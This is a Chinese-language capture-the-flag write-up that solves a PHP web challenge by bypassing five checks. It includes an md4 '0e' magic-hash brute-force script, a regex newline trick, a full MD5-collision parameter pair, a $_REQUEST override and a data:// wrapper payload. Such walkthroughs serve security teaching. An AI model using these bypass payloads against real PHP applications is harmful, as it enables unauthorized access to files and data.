一、题目
进来看到的代码如下:
<?php
highlight_file(__FILE__);
if ($_GET["secret"] != hash("md4", $_GET["secret"])) {
die('乐<br>');
}
if (!preg_match('/http/i', $_GET['file'])) {
if (preg_match('/^i_am_bloodhound$/', $_GET['name']) && $_GET['name'] !== 'i_am_bloodhound') {
$file = $_GET["file"];
echo "我是布洛特亨德尔!<br>";
}
} else {
die("?");
}
if ((string)$_GET['s1'] !== (string)$_GET['s2'] && md5($_GET['s1']) === md5($_GET['s2'])) {
echo "众神之父赐予我视野<br>";
} else {
die("众神之父赐予我重伤倒地<br>");
}
if ($_REQUEST) {
foreach ($_REQUEST as $value) {
if (preg_match('/[a-zA-Z]/i', $value))
die('众神之父不喜欢英文<br>');
}
}
if (file_get_contents($file) !== 'phoniex_kit') {
die("我重伤倒地");
}
var_dump(file_get_contents("/flag"));
这里可以看到有五个if判断,那么就一层一层地绕过罢
二、解题
第一层:
if ($_GET["secret"] != hash("md4", $_GET["secret"]))
这里要求我们传入的$secret的值等于经过md4的hash之后的值,那显然输入一般的字符串不可能
0e开头的字符串在参与比较时,会被当做科学计数法,结果转换为0
那么我们传入的secret以0e开头,后面跟数字,且经md4后开头仍然是0e的就满足条件
脚本如下:
<?php
for($a=1;$a<=1000000000;$a++){
$b='0e'.$a;
$c=(substr(hash("md4",$b),2));//取后面满足数字
$d=(substr(hash("md4",$b),0,true).substr(hash("md4",$b),1,true));//取前面满足是0e
if($d==='0e'){
if(ctype_digit($c)){//is_numeric()函数是有漏洞。用ctype_digit();
echo $b."success";
break;
}else{
echo "fail";
}
}
}
参考:https://blog.csdn.net/qq_46091464/article/details/108190466
输出的0e251288019刚好满足
get传入后绕过成功
第二层:
if (!preg_match('/http/i', $_GET['file'])) {
if (preg_match('/^i_am_bloodhound$/', $_GET['name']) && $_GET['name'] !==
'i_am_bloodhound') {
preg_match检测不了数组,所以直接传file[]就能绕过
而/^字符串$/这种类型的,无法检测句末的换行符,编码后即 %0a
name=i_am_bloodhound%0a
第三层:
if ((string)$_GET['s1'] !== (string)$_GET['s2'] && md5($_GET['s1']) === md5($_GET['s2']))
这是这个题最难的地方,强类型绕过
s1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&s2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
可以参考安洵杯19年的那个题,应该是MD5碰撞了
第四层:
if ($_REQUEST)
$_REQUEST
变量能获得GET或者POST的参数,而如果通过不同的方式获得相同变量的不同值,则只会获得最后传入的值,这里我们可以把GET里传的参再用POST传一遍,覆盖掉
第五层:
if (file_get_contents($file) !== 'phoniex_kit')
看到file_get_contents了,直接用伪协议绕过即可
file=data://text/plain,%70%68%6f%6e%69%65%78%5f%6b%69%74
拿到flag